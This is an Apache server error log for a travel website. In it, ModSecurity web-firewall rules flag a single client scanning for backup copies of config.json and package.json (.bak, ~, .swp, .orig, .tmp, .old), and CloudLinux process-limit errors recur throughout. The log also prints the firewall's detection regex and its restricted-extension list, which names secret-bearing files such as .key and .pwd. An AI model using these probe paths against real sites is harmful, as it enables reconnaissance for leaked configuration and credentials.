[Fri Jul 17 08:55:20.173770 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA5GPQ6hs4VrfMpBjQAAAAY"]
[Fri Jul 17 08:55:20.174912 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.177325 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.json.bak"] [unique_id "almgoLoj0IkvhSCYadmBtQAAAAQ"]
[Fri Jul 17 08:55:20.177484 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.177564 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.json~"] [unique_id "almgoIZvbo7N5o5zeYC-eQAAABw"]
[Fri Jul 17 08:55:20.177696 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoLoj0IkvhSCYadmBtQAAAAQ"]
[Fri Jul 17 08:55:20.177744 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.177919 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIZvbo7N5o5zeYC-eQAAABw"]
[Fri Jul 17 08:55:20.178505 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.179032 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIbYoYGvYnmnM82CNAAAAAs"]
[Fri Jul 17 08:55:20.181041 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.184222 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.184763 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.195546 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.202919 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.206576 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".json~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/package.json~"] [unique_id "almgoA7FYe46zHK_jL3P7AAAABk"]
[Fri Jul 17 08:55:20.206906 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/package.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /package.json found within REQUEST_FILENAME: /package.json~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/package.json~"] [unique_id "almgoA7FYe46zHK_jL3P7AAAABk"]
[Fri Jul 17 08:55:20.207308 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/package.json~"] [unique_id "almgoA7FYe46zHK_jL3P7AAAABk"]
[Fri Jul 17 08:55:20.207434 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.207584 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA7FYe46zHK_jL3P7AAAABk"]
[Fri Jul 17 08:55:20.209836 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/package.json.bak"] [unique_id "almgoA5GPQ6hs4VrfMpBjgAAAAY"]
[Fri Jul 17 08:55:20.210094 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/package.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /package.json found within REQUEST_FILENAME: /package.json.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/package.json.bak"] [unique_id "almgoA5GPQ6hs4VrfMpBjgAAAAY"]
[Fri Jul 17 08:55:20.210358 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/package.json.bak"] [unique_id "almgoA5GPQ6hs4VrfMpBjgAAAAY"]
[Fri Jul 17 08:55:20.210462 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.210575 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA5GPQ6hs4VrfMpBjgAAAAY"]
[Fri Jul 17 08:55:20.214558 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/package.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /package.json found within REQUEST_FILENAME: /package.json.orig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/package.json.orig"] [unique_id "almgoLoj0IkvhSCYadmBtgAAAAQ"]
[Fri Jul 17 08:55:20.214877 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/package.json.orig"] [unique_id "almgoLoj0IkvhSCYadmBtgAAAAQ"]
[Fri Jul 17 08:55:20.215004 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.215148 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoLoj0IkvhSCYadmBtgAAAAQ"]
[Fri Jul 17 08:55:20.218503 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/package.json.swp"] [unique_id "almgoIbYoYGvYnmnM82CNQAAAAs"]
[Fri Jul 17 08:55:20.218759 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/package.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /package.json found within REQUEST_FILENAME: /package.json.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/package.json.swp"] [unique_id "almgoIbYoYGvYnmnM82CNQAAAAs"]
[Fri Jul 17 08:55:20.219088 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/package.json.swp"] [unique_id "almgoIbYoYGvYnmnM82CNQAAAAs"]
[Fri Jul 17 08:55:20.219214 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.219356 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIbYoYGvYnmnM82CNQAAAAs"]
[Fri Jul 17 08:55:20.223236 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/package.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /package.json found within REQUEST_FILENAME: /package.json.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/package.json.tmp"] [unique_id "almgoIZvbo7N5o5zeYC-egAAABw"]
[Fri Jul 17 08:55:20.223538 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/package.json.tmp"] [unique_id "almgoIZvbo7N5o5zeYC-egAAABw"]
[Fri Jul 17 08:55:20.223673 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.223814 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIZvbo7N5o5zeYC-egAAABw"]
[Fri Jul 17 08:55:20.238732 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBWgAAABs"]
[Fri Jul 17 08:55:20.252866 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/package.json.old"] [unique_id "almgoIl9vhFBGA6D8l96FgAAAAw"]
[Fri Jul 17 08:55:20.253374 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/package.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /package.json found within REQUEST_FILENAME: /package.json.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/package.json.old"] [unique_id "almgoIl9vhFBGA6D8l96FgAAAAw"]
[Fri Jul 17 08:55:20.253887 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/package.json.old"] [unique_id "almgoIl9vhFBGA6D8l96FgAAAAw"]
